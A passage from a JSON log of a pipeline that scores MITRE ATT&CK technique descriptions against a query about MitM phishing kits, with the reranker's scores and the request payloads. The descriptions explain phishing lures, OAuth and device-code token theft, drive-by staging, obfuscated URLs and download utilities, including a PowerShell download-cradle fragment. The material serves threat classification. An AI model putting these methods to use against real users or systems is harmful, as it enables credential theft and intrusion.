(ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.001", + "text": "ATT&CK technique: T1597.001 Threat Intel Vendors\nDescription: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1563.001", + "text": "ATT&CK technique: T1563.001 SSH Hijacking\nDescription: Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, macOS" + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1539", + "score": 1.0, + "rank": 0 + }, + { + "item_id": "T1550.004", + "score": 1.0, + "rank": 1 + }, + { + "item_id": "T1185", + "score": 0.98828125, + "rank": 2 + }, + { + "item_id": "T1606.001", + "score": 0.65234375, + "rank": 3 + }, + { + "item_id": "T1134.001", + "score": 0.439453125, + "rank": 4 + }, + { + "item_id": "T1563", + "score": 0.40625, + "rank": 5 + }, + { + "item_id": "T1098", + "score": 0.34765625, + "rank": 6 + }, + { + "item_id": "T1606", + "score": 0.306640625, + "rank": 7 + }, + { + "item_id": "T1078", + "score": 0.2109375, + "rank": 8 + }, + { + "item_id": "T1204", + "score": 0.2109375, + "rank": 9 + }, + { + "item_id": "T1563.002", + "score": 0.15625, + "rank": 10 + }, + { + "item_id": "T1550", + "score": 0.125, + "rank": 11 + }, + { + "item_id": "T1212", + "score": 0.08447265625, + "rank": 12 + }, + { + "item_id": "T1528", + "score": 0.0810546875, + "rank": 13 + }, + { + "item_id": "T1134.003", + "score": 0.06396484375, + "rank": 14 + }, + { + "item_id": "T1598.003", + "score": 0.056396484375, + "rank": 15 + }, + { + "item_id": "T1550.001", + "score": 0.050537109375, + "rank": 16 + }, + { + "item_id": "T1586", + "score": 0.03759765625, + "rank": 17 + }, + { + "item_id": "T1557", + "score": 0.035400390625, + "rank": 18 + }, + { + "item_id": "T1589.001", + "score": 0.029296875, + "rank": 19 + }, + { + "item_id": "T1134", + "score": 0.0242919921875, + "rank": 20 + }, + { + "item_id": "T1555", + "score": 0.0125732421875, + "rank": 21 + }, + { + "item_id": "T1558", + "score": 0.0111083984375, + "rank": 22 + }, + { + "item_id": "T1684.001", + "score": 0.00811767578125, + "rank": 23 + }, + { + "item_id": "T1217", + "score": 0.00494384765625, + "rank": 24 + }, + { + "item_id": "T1555.003", + "score": 0.004638671875, + "rank": 25 + }, + { + "item_id": "T1534", + "score": 0.004364013671875, + "rank": 26 + }, + { + "item_id": "T1556", + "score": 0.00360107421875, + "rank": 27 + }, + { + "item_id": "T1563.001", + "score": 0.003387451171875, + "rank": 28 + }, + { + "item_id": "T1056", + "score": 0.00299072265625, + "rank": 29 + }, + { + "item_id": "T1674", + "score": 0.0026397705078125, + "rank": 30 + }, + { + "item_id": "T1558.005", + "score": 0.0021209716796875, + "rank": 31 + }, + { + "item_id": "T1649", + "score": 0.0021209716796875, + "rank": 32 + }, + { + "item_id": "T1190", + "score": 0.0018157958984375, + "rank": 33 + }, + { + "item_id": "T1589", + "score": 0.00170135498046875, + "rank": 34 + }, + { + "item_id": "T1056.003", + "score": 0.00154876708984375, + "rank": 35 + }, + { + "item_id": "T1566", + "score": 0.0013275146484375, + "rank": 36 + }, + { + "item_id": "T1036.010", + "score": 0.0013275146484375, + "rank": 37 + }, + { + "item_id": "T1668", + "score": 0.00099945068359375, + "rank": 38 + }, + { + "item_id": "T1566.002", + "score": 0.00099945068359375, + "rank": 39 + }, + { + "item_id": "T1584.006", + "score": 0.000911712646484375, + "rank": 40 + }, + { + "item_id": "T1659", + "score": 0.000885009765625, + "rank": 41 + }, + { + "item_id": "T1110", + "score": 0.000858306884765625, + "rank": 42 + }, + { + "item_id": "T1036", + "score": 0.000804901123046875, + "rank": 43 + }, + { + "item_id": "T1657", + "score": 0.0006256103515625, + "rank": 44 + }, + { + "item_id": "T1598", + "score": 0.00058746337890625, + "rank": 45 + }, + { + "item_id": "T1588.002", + "score": 0.00057220458984375, + "rank": 46 + }, + { + "item_id": "T1005", + "score": 0.000553131103515625, + "rank": 47 + }, + { + "item_id": "T1059", + "score": 0.000553131103515625, + "rank": 48 + }, + { + "item_id": "T1586.002", + "score": 0.000518798828125, + "rank": 49 + }, + { + "item_id": "T1557.004", + "score": 0.0004730224609375, + "rank": 50 + }, + { + "item_id": "T1591.004", + "score": 0.0004730224609375, + "rank": 51 + }, + { + "item_id": "T1608.004", + "score": 0.000392913818359375, + "rank": 52 + }, + { + "item_id": "T1592", + "score": 0.0003681182861328125, + "rank": 53 + }, + { + "item_id": "T1593.001", + "score": 0.0002956390380859375, + "rank": 54 + }, + { + "item_id": "T1219.003", + "score": 0.000278472900390625, + "rank": 55 + }, + { + "item_id": "T1598.004", + "score": 0.0002460479736328125, + "rank": 56 + }, + { + "item_id": "T1140", + "score": 0.0002307891845703125, + "rank": 57 + }, + { + "item_id": "T1586.001", + "score": 0.0002307891845703125, + "rank": 58 + }, + { + "item_id": "T1597.002", + "score": 0.00021648406982421875, + "rank": 59 + }, + { + "item_id": "T1596.001", + "score": 0.00021648406982421875, + "rank": 60 + }, + { + "item_id": "T1593.002", + "score": 0.00020313262939453125, + "rank": 61 + }, + { + "item_id": "T1195.001", + "score": 0.00020313262939453125, + "rank": 62 + }, + { + "item_id": "T1082", + "score": 0.00019073486328125, + "rank": 63 + }, + { + "item_id": "T1596.003", + "score": 0.00019073486328125, + "rank": 64 + }, + { + "item_id": "T1204.005", + "score": 0.000179290771484375, + "rank": 65 + }, + { + "item_id": "T1105", + "score": 0.000148773193359375, + "rank": 66 + }, + { + "item_id": "T1596.005", + "score": 0.00014019012451171875, + "rank": 67 + }, + { + "item_id": "T1596.002", + "score": 0.00012302398681640625, + "rank": 68 + }, + { + "item_id": "T1036.005", + "score": 0.0001087188720703125, + "rank": 69 + }, + { + "item_id": "T1583", + "score": 9.012222290039062e-05, + "rank": 70 + }, + { + "item_id": "T1596.004", + "score": 8.487701416015625e-05, + "rank": 71 + }, + { + "item_id": "T1125", + "score": 6.628036499023438e-05, + "rank": 72 + }, + { + "item_id": "T1681", + "score": 5.4836273193359375e-05, + "rank": 73 + }, + { + "item_id": "T1597.001", + "score": 5.14984130859375e-05, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 28630 + } + }, + "evidence_sha256": "5418e45f17b89eb2564530bc2eda31346a60c0b2012a07c2d96a00cfef98da56" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 891.5, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link." + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |" + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1027", + "text": "ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: **Abusing legitimate communication and analytics services in skimmer attacks**" + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Websites in the shopping category are the most common targets for skimmer attacks, but other URL categories have also fallen victim to these attacks, as shown in the following chart:" + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as 